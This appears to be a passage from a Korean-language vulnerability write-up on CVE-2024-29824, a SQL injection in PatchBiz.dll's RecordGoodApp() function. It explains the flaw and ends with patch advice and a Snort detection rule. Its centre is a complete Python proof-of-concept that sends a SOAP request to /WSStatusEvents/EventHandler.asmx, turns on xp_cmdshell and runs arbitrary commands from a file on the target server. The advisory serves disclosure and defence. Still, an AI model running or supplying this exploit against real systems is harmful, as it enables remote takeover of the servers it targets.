print(e)
- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]
> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약
> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입
> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행
- 취약점 흐름은 다음과 같음
2.2 PoC [4]
- /WSStatusEvents/EventHandler.asmx URL로 POST 요청 - GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행
※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저
import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()
XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
<soap12:Body>
<UpdateStatusEvents xmlns="http://tempuri.org/">
<deviceID>string</deviceID>
<actions>
<Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
<status>GoodApp=1|md5={}</status>
</Action>
</actions>
</UpdateStatusEvents>
</soap12:Body>
</soap12:Envelope>
"""
SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"
def get_cmd_arrays(cmd_file):
try:
with open(cmd_file, 'r') as f:
cmds = f.read().split('\n')
cmds = [c for c in cmds if c]
return cmds
except Exception as e:
sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
return []
def exploit(url, command):
h = {'Content-Type': 'application/soap+xml' }
sqli_payload = SQLI_PAYLOAD.format(command)
xml_payload = XML_PAYLOAD.format(sqli_payload)
try:
r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
if r.status_code == 200:
print(f'[+] Successfully sent payload to server')
else:
print(f'[-] Unexpected response from server')
except TimeoutError:
# Expected to timeout given it keeps connection open for process duration
pass
except ReadTimeout:
# Expected to timeout given it keeps connection open for process duration
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
args = parser.parse_args()
commands = get_cmd_arrays(args.cmd_file)
for command in commands:
exploit(args.url, command)
3. 대응방안
- 벤더사 제공 최신 업데이트 적용 [5]
> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결
- 탐지룰 적용
> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]
alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)